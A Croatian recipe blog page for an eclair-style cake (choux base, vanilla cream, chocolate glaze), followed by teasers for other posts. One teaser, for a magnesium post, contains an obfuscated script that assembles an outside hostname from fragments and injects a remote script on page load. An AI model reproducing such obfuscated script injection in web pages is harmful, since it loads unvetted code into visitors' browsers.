EKLER TORTA 🍰




Ekler torta 

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Ekler torta raskošan je desert inspiriran jednim od najpoznatijih francuskih klasika – eclairsima. Prepoznatljivo kuhano tijesto, bogata krema od vanilije i sjajna čokoladna glazura čine kombinaciju kojoj je teško odoljeti. Iako na prvu djeluje kao slastica rezervirana za vješte slastičare, ova verzija u obliku torte donosi isti profinjeni okus uz znatno jednostavniju pripremu.





Ekler torta 


Sastojci:

Za choux tijesto:

  • 125 ml vode
  • 125 ml mlijeka
  • 100 g maslaca
  • prstohvat soli
  • 1 žlica šećera
  • 150 g glatkog brašna
  • 4 jaja

Za kremu od vanilije:

  • 500 ml mlijeka
  • 1 mahuna vanilije ili 1 žličica ekstrakta vanilije
  • 4 žumanjka
  • 100 g šećera
  • 40 g gustina
  • 50 g maslaca

(Po želji: 150 ml slatkog vrhnja za šlag, lagano umućenog i umiješanog u ohlađenu kremu za dodatnu prozračnost.)

Za čokoladnu glazuru:

  • 150 g tamne čokolade
  • 100 ml slatkog vrhnja



Priprema:

1.Choux tijesto

U loncu zagrijte vodu, mlijeko, maslac, sol i šećer dok smjesa ne zakipi. Maknite s vatre pa odjednom umiješajte brašno. Vratite na laganu vatru i miješajte dok se tijesto ne počne odvajati od stijenki posude. Ostavite da se kratko ohladi, zatim dodajte jedno po jedno jaje, dobro miješajući nakon svakog dodavanja.

Smjesu rasporedite u kalup (promjera oko 22–24 cm) obložen papirom za pečenje i pecite na 180 °C oko 30–35 minuta, dok tijesto ne dobije zlatnu boju. Ostavite da se potpuno ohladi.

2. Krema

Zagrijte mlijeko s vanilijom do vrenja. U drugoj zdjeli umutite žumanjke, šećer i gustin. Polako ulijevajte toplo mlijeko u smjesu uz stalno miješanje, zatim vratite sve u lonac i kuhajte dok se krema ne zgusne. Maknite s vatre i umiješajte maslac. Pokrijte prozirnom folijom (direktno na površinu kreme) i ohladite. Po želji umiješajte lagano tučeno vrhnje.

3. Slaganje i glazura

Ohlađenu kremu ravnomjerno rasporedite preko pečenog tijesta. Za glazuru zagrijte slatko vrhnje do vrenja, prelijte preko nasjeckane čokolade i miješajte dok ne dobijete glatku smjesu. Prelijte preko kreme i poravnajte.

Tortu stavite u hladnjak na najmanje 3 sata prije posluživanja kako bi se svi slojevi lijepo povezali.


Ekler torta

Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više